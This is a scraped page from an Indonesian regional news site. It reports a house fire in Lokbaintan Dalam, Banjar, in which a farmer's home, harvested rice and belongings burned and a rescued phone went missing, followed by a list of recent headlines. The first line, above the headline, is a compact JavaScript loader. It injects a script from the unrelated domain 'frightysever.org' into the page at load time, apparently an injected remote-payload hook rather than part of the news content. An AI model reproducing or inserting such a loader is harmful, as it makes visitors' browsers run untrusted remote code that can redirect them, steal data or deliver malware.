(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Rumah Tarmiji Tinggal Arang, Selamatkan Hp Malah Hilang, Padi Baru Panen Ikut Terbakar


KANALKALIMANTAN.COM, MARTAPURA – Musibah kebakaran di tepi sungai baru kali ini terjadi di Desa Lokbaintan Dalam RT 001 Kecamatan Sungai Tabuk, Kabupaten Banjar, Jumat (1/9/2023) pagi.

Api yang diketahui mulai berkobar sekitar pukul 08.30 Wita tersebut melahap habis rumah milik Tarmiji yang dihuni istri dan dua anaknya. Lokasinya masuk melewati jalan Desa Paku Alam, Sungai Tandipah, Kecamatan Sungai Tabuk.

Rusmina (38), salah tetangga yang rumahnya berdekatan dengan rumah Tarmiji mengaku kaget saat melihat api dari belakang rumah dan terus menjalar ke semua bagian rumah. Rusmina berteriak sejadi-jadinya hingga warga lain pun berdatangan.

Baca juga: Urung ‘Bersanding’ Koalisi Perubahan Pecah, Baliho Anies-AHY di Banjarmasin Diturunkan

Teriakan warga itu terdengar oleh Tarmiji, saat itu ia sedang melakukan panen padi yang tidak jauh dari rumahnya.

Ia bergegas mendekati sumber suara teriakan itu dengan fokus melihat siapa yang berteriak kebakaran. Tarmiji pun tidak sadar bahwa rumah yang terbakar ialah rumahnya karena masih asik dengan pekerjaan panen padi.

Tarmiji menceritakan baru tersadar setelah tetangganya menyebut rumah yang terbakar adalah miliknya, ia pun langsung berlari cepat ke arah rumahnya. Tarmiji kaget dan panik karena api sangat besar, dan berkobar hampir setengah bagian rumahnya. Untungnya tidak ada angin saat pagi kejadian kebakaran berlangsung.

Baca juga: Sulam Arguci, Hasil Tangan Peninggalan Kerajaan Banjar yang Ikuti Tren Kekinian

Ayah dua anak ini tetap berusaha untuk mengambil barang yang masih bisa diselamatkan, namun dia ingat betul bahwa semua pintu rumahnya terkunci. Ia pun mendobrak pintu depan dengan cara menendang pintu dengan menggunakan kaki hingga pintu terbuka.

Meski terasa sangat panas akibat kobaran api, ia tetap masuk melihat apa saja yang bisa diselamatkan.

Tarmiji berhasil menyelamatkan sebuah sepeda motor tanpa kunci, sebuah laptop dan handphone anaknya dan beberapa helai pakaian yang sedang dijemur. Semua barang dikumpulkan di bawah pohon masih tidak jauh dari rumahnya yang sedang berkobar.

Baca juga: Empat Kapolsek dan Dua Kasat di Polresta Banjarmasin Berganti

Akibat aksi nekat Tarmiji, ia mengalami luka bakar karena paparan api di bagian kanan yaitu alis, pipi, hingga telinga memerah dan bengkak melepuh.

Lain lagi cerita Norbaidah (48), isteri Tarmiji, saat api di pagi hari itu berkobar masih berada di Pasar Terapung Lokbaintan. Norbaidah melihat kepulan asap membubung tinggi, tapi ia tidak mengira bahwa asap itu berasal dari rumahnya. Belakangan temannya memberitahu bahwa rumahnya lah yang sedang terbakar.

Perempuan 48 tahun itu pun langsung kaget dan bergegas balik arah mengayuh jukungnya lebih cepat menuju rumahnya. Ketika tiba di depan rumahnya ia melihat rumahnya sudah habis terbakar tersisa puing arang. Ia pun terdiam.

Baca juga: Jaringan Besar Peredaran Narkoba Masuk ke Banjarbaru

Anak laki-laki pasangan Tarmiji dan Norbaidah yang masih berada di sekolah, Ahmad Jainal Hamliki (15) menceritakan ia sedang belajar di ruang kelas tiba-tiba dipanggil ke ruang guru, pikir ia penuh dengan tanda tanya. Sesampai di ruang guru ia diberitahu bahwa rumahnya terbakar, mendengar hal itu ia pun langsung lemas.

Nadya (18), putri sulung Tarmiji mengakui diberitahu oleh teman sekampung bahwa rumahnya terbakar. Ia pun izin dari perkuliahannya dari kampus STIKES ISFI bergegas pulang. Tiba di depan rumah, mahasiswi salah satu perguruan tinggi di Banjarmasin ini disuguhkan pemandangan rumahnya hanya tinggal arang.

Apesnya lagi, kejadian yang tidak terduga, handphone yang telah Tarmiji selamatkan ternyata hilang entah kemana, padahal ia ingat betul bahwa handphone anaknya ditaruh di atas laptop yang ditutupi dengan pakaian.

Akibat si jago merah menghanguskan satu buah rumah, satu buah sepeda motor, satu buah sepeda, padi sebanyak 60 blek dan lain-lainnya, diperkiraan kerugian ditaksirkan mencapai Rp50 juta.

Tidak hanya itu, hewan peliharaan yaitu kucing beserta anaknya ikut terpanggang dan yang dapat terselamatkan hanya sedikit pakaian, satu buah motor dan laptop saja.
(Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie


Muhammad Andi

Recent Posts

Begini Penjelasan Disporabudpar Banjarbaru Soal Perizinan Hotel Aeris

KANALKALIMANTAN.COM, BANJARBARU – Sebuah hotel baru di ruas Jalan Panglima Batur Banjarbaru akan melakukan soft… Read More

2 jam ago

Gerilya Politik Lisa Halaby ke Nasdem Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Langkah politik Erna Lisa Halaby mencari partai politik pengusung dalam Pemilihan Wali… Read More

2 jam ago

Tim Wasev Cek Langsung Lokasi TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Sekretaris Daerah (Sekda) Hulu Sungai Utara (HSU) Adi Lesmana bersama Tim Pengawas… Read More

2 jam ago

Lutung Tersengat Listrik Dievakuasi Warga, Damkar HSU Amankan Satwa Dilindungi

KANALKALIMANTAN.COM, AMUNTAI - Tersengat aliran listrik bertegangan tinggi, seekor satwa dilindungi lutung terkapar berhasil dievakuasi… Read More

3 jam ago

“Pesta Siswa Literasi Digital” di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Teknologi yang saat ini berkembang sangat pesat dan cepat telah membuat perubahan… Read More

4 jam ago

Kontestasi Pilwali Banjarbaru, Golkar Partai Pertama Incaran Lisa Halaby

Lisa Halaby: Saya Siap, Insyaallah Mundur Sebagai ASN Read More

4 jam ago

This website uses cookies.